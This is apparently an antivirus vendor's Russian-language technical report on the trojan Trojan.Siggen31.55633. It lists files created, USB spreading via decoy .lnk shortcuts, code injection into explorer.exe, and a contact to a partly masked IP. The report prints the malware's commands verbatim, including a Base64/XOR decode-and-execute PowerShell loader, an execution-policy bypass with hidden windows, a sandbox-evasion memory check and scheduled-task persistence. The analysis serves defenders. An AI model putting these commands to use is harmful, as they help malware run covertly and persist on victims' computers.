Trojan.Siggen31.55633

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\wippnullarmor

Создает следующие файлы на съемном носителе

<Имя диска съемного носителя>:\usb.exe
<Имя диска съемного носителя>:\correct.avi.lnk
<Имя диска съемного носителя>:\delete.avi.lnk
<Имя диска съемного носителя>:\archer.avi.lnk
<Имя диска съемного носителя>:\dashborder_192.bmp.lnk
<Имя диска съемного носителя>:\dial.bmp.lnk
<Имя диска съемного носителя>:\dashborder_96.bmp.lnk
<Имя диска съемного носителя>:\dashborder_120.bmp.lnk
<Имя диска съемного носителя>:\coffee.bmp.lnk
<Имя диска съемного носителя>:\dialmap.bmp.lnk
<Имя диска съемного носителя>:\contoso.cer.lnk
<Имя диска съемного носителя>:\sdkfailsafeemulator.cer.lnk
<Имя диска съемного носителя>:\sdksampleunprivdeveloper.cer.lnk
<Имя диска съемного носителя>:\fi51.doc.lnk
<Имя диска съемного носителя>:\lisp_success.doc.lnk
<Имя диска съемного носителя>:\february_catalogue__2015.doc.lnk
<Имя диска съемного носителя>:\ovp25012015.doc.lnk
<Имя диска съемного носителя>:\cveuropeo.doc.lnk
<Имя диска съемного носителя>:\glidescope_review_rev_010.docx.lnk
<Имя диска съемного носителя>:\nwfieldnotes1966.docx.lnk
<Имя диска съемного носителя>:\sdszfo.docx.lnk
<Имя диска съемного носителя>:\issi2013_template_for_posters.docx.lnk
<Имя диска съемного носителя>:\file_p_00000000_1371597592.docx.lnk
<Имя диска съемного носителя>:\chromesetup.exe.lnk
<Имя диска съемного носителя>:\calc.exe.lnk
<Имя диска съемного носителя>:\alert.htm.lnk
<Имя диска съемного носителя>:\64bit_notes.htm.lnk
<Имя диска съемного носителя>:\browse.htm.lnk
<Имя диска съемного носителя>:\tree_view.htm.lnk
<Имя диска съемного носителя>:\iisstart.htm.lnk
<Имя диска съемного носителя>:\about.htm.lnk
<Имя диска съемного носителя>:\garden.htm.lnk
<Имя диска съемного носителя>:\ituneshelpunavailable.htm.lnk
<Имя диска съемного носителя>:\ituneshelpunavailable.html.lnk
<Имя диска съемного носителя>:\howto-index.html.lnk
<Имя диска съемного носителя>:\iisstart.html.lnk
<Имя диска съемного носителя>:\tree_view.html.lnk
<Имя диска съемного носителя>:\api-hashmap.html.lnk
<Имя диска съемного носителя>:\3.jpeg.lnk
<Имя диска съемного носителя>:\13.jpeg.lnk
<Имя диска съемного носителя>:\parnas_01.jpeg.lnk
<Имя диска съемного носителя>:\168.jpg.lnk
<Имя диска съемного носителя>:\region-north-karelia.jpg.lnk
<Имя диска съемного носителя>:\13.jpg.lnk
<Имя диска съемного носителя>:\210252809.jpg.lnk
<Имя диска съемного носителя>:\2.jpg.lnk
<Имя диска съемного носителя>:\spanner.mov.lnk
<Имя диска съемного носителя>:\firefly1.mov.lnk
<Имя диска съемного носителя>:\video.mp4.lnk
<Имя диска съемного носителя>:\video_1.mp4.lnk
<Имя диска съемного носителя>:\clip_480_5sec_6mbps_h264.mp4.lnk
<Имя диска съемного носителя>:\fil_20060629111052.pdf.lnk
<Имя диска съемного носителя>:\2015-02-patients-topic-work-related-asthma-jobs.pdf.lnk
<Имя диска съемного носителя>:\2015-02-worms-nanoparticle-toxicity.pdf.lnk
<Имя диска съемного носителя>:\7790_preview.pdf.lnk
<Имя диска съемного носителя>:\spib_pima.pdf.lnk
<Имя диска съемного носителя>:\dualectls.pdf.lnk
<Имя диска съемного носителя>:\lom602.pdf.lnk
<Имя диска съемного носителя>:\server.pem.lnk
<Имя диска съемного носителя>:\systisoft.pem.lnk
<Имя диска съемного носителя>:\hhhlcert.pem.lnk
<Имя диска съемного носителя>:\investmentbankca_ca8.pem.lnk
<Имя диска съемного носителя>:\ck.pem.lnk
<Имя диска съемного носителя>:\background.png.lnk
<Имя диска съемного носителя>:\calibre.png.lnk
<Имя диска съемного носителя>:\asm.png.lnk
<Имя диска съемного носителя>:\metac.ppt.lnk
<Имя диска съемного носителя>:\writingcompletesarnarrative_1103.ppt.lnk
<Имя диска съемного носителя>:\accountsreceivable.ppt.lnk
<Имя диска съемного носителя>:\sim_gametheory_to_finance.ppt.lnk
<Имя диска съемного носителя>:\ppswamp.ppt.lnk
<Имя диска съемного носителя>:\sacs_presentation_sacs_qep_improving_rt_education_final.ppt.lnk
<Имя диска съемного носителя>:\ksearch_esa_talk.ppt.lnk
<Имя диска съемного носителя>:\hypothyroidism_slides.pptx.lnk
<Имя диска съемного носителя>:\waterresourcesag.pptx.lnk
<Имя диска съемного носителя>:\asaprojectcompetition.pptx.lnk
<Имя диска съемного носителя>:\indogerman2010.pptx.lnk
<Имя диска съемного носителя>:\gruenspecht_02172016.pptx.lnk
<Имя диска съемного носителя>:\samieee_obiee_presentation.pptx.lnk
<Имя диска съемного носителя>:\20140114.rdf.lnk
<Имя диска съемного носителя>:\digest.rdf.lnk
<Имя диска съемного носителя>:\schema.rdf.lnk
<Имя диска съемного носителя>:\foaf.rdf.lnk
<Имя диска съемного носителя>:\sioc.rdf.lnk
<Имя диска съемного носителя>:\krsweden.rtf.lnk
<Имя диска съемного носителя>:\pandp.rtf.lnk
<Имя диска съемного носителя>:\pubnet_855.rtf.lnk
<Имя диска съемного носителя>:\phytoremediation.rtf.lnk
<Имя диска съемного носителя>:\static_electricity_easy_and_quick_activities.rtf.lnk
<Имя диска съемного носителя>:\router_manual.rtf.lnk
<Имя диска съемного носителя>:\waterlandhealthkano.rtf.lnk
<Имя диска съемного носителя>:\babyboymaintonotesbackground_pal.wmv.lnk
<Имя диска съемного носителя>:\flower_trans_matte.wmv.lnk
<Имя диска съемного носителя>:\babyboymaintoscenesbackground.wmv.lnk
<Имя диска съемного носителя>:\testwmv.wmv.lnk
<Имя диска съемного носителя>:\calculatorworksheet.xls.lnk
<Имя диска съемного носителя>:\contractualdeadlines.xls.lnk
<Имя диска съемного носителя>:\guide_reorganization_mapping.xls.lnk
<Имя диска съемного носителя>:\highly_cited_2001.xlsx.lnk
<Имя диска съемного носителя>:\2013_finalsummaryforweb.xlsx.lnk
<Имя диска съемного носителя>:\national_autism_preparation_programs.xlsx.lnk
<Имя диска съемного носителя>:\suspendedcompanies.xlsx.lnk
<Имя диска съемного носителя>:\trtf_matrix2012_oct.xlsx.lnk
<Имя диска съемного носителя>:\disclosuredetails.xlsx.lnk
<Имя диска съемного носителя>:\1sm_price.zip.lnk
<Имя диска съемного носителя>:\productos.zip.lnk
<Имя диска съемного носителя>:\removedtitles_records.zip.lnk
<Имя диска съемного носителя>:\price.zip.lnk
<Имя диска съемного носителя>:\fiche_inscription_2015.zip.lnk
<Имя диска съемного носителя>:\calculatorworksheet.zip.lnk
<Имя диска съемного носителя>:\contractualdeadlines.zip.lnk
<Имя диска съемного носителя>:\system volume information .lnk

Вредоносные функции

Внедряет код в

следующие системные процессы:

%WINDIR%\explorer.exe

Изменения в файловой системе

Создает следующие файлы

C:\users\admin\downloads\testing\income.pdf
C:\users\admin\downloads\testing\trying_flink_vovag3nf.bat
%ALLUSERSPROFILE%\inteldriver\windows.cmd
%ALLUSERSPROFILE%\inteldriver\netstat.c
%ALLUSERSPROFILE%\inteldriver\boot64x.w
%ALLUSERSPROFILE%\inteldriver\win64x.exe
%TEMP%\__psscriptpolicytest_1zby3wv1.om4.ps1
%TEMP%\__psscriptpolicytest_v1bh2gnv.jfq.psm1
%TEMP%\content\4444-3176-win64x.exe-14-18-29-911.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-30-461.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-30-645.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-31-025.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-31-977.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-32-191.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-32-241.dump
%TEMP%\1yyunoco\1yyunoco.0.cs
%TEMP%\1yyunoco\1yyunoco.cmdline
%TEMP%\1yyunoco\1yyunoco.out
%TEMP%\1yyunoco\cscbf873d27194a4d46a310322c71c3bad3.tmp
%TEMP%\resd7ce.tmp
%TEMP%\1yyunoco\1yyunoco.dll
%TEMP%\content\4444-3176-win64x.exe-14-18-34-483.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-34-646.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-34-833.dump
%APPDATA%\wippnullarmor.xml
%ALLUSERSPROFILE%\inteldriver\wippnullarmor.vbs
%TEMP%\content\4444-3176-win64x.exe-14-18-36-296.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-36-771.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-36-878.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-36-888.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-36-899.dump
%LOCALAPPDATA%\microsoft\windows\powershell\moduleanalysiscache

Присваивает атрибут 'скрытый' для следующих файлов

<Имя диска съемного носителя>:\usb.exe

Сетевая активность

Подключается к

'19#.#24.205.25':3000

Другое

Ищет следующие окна

ClassName: 'Edit' WindowName: ''

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Unblock-File -Path 'C:\Users\ADMIN\Downloads\TESTING\trying_Flink_VOVag3Nf.bat'"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\ADMIN\Downloads\TESTING\trying_Flink_VOVag3Nf.bat' -ArgumentList 'silent' -WindowStyle HIdden"
'%ALLUSERSPROFILE%\inteldriver\win64x.exe' -c "$k='e4';$d=[Convert]::FromBase64String((gc 'netstat.c' -Raw));$s='';$i=0;foreach($b in $d){$s+=[char]($b -bxor $k[$i]);$I=!$I};iex $s"
'<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\IntelDriver\wippnullarmor.vbs"

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c ""C:\Users\ADMIN\Downloads\TESTING\trying_Flink_VOVag3Nf.bat" "
'<SYSTEM32>\cmd.exe' /c ""C:\Users\ADMIN\Downloads\TESTING\trying_Flink_VOVag3Nf.bat" silent " (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "try { $ram = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory; if (!$ram -or $ram -lt 2GB) { exIt 123 } else { exit 0 } } catch { exIt 123 }"
'<SYSTEM32>\attrib.exe' +s +h IntelDriver
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$out = ''; foreach ($lIne in Get-Content 'windows.cmd') { if ($line -match '^rem\s+(.+)') { $out += $matches[1] + \"`n\" } }; sET-Content -Path 'netstat.c' -Value $out"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$out=''; foreach ($line in Get-Content 'windows.cmd') { if ($line.StartsWith('::')) { $out += $line.SubstrIng(2).TrimStart() + \"`n\" } }; sET-Content -Path 'boot64x.w' -Value $out"
'%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\1yyunoco\1yyunoco.cmdline" (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD7CE.tmp" "%TEMP%\1yyunoco\CSCBF873D27194A4D46A310322C71C3BAD3.TMP" (со скрытым окном)
'<SYSTEM32>\schtasks.exe' /create /tn wippnullarmor /xml %APPDATA%\wippnullarmor.xml /f
'<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\IntelDriver\windows.cmd" " (со скрытым окном)

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней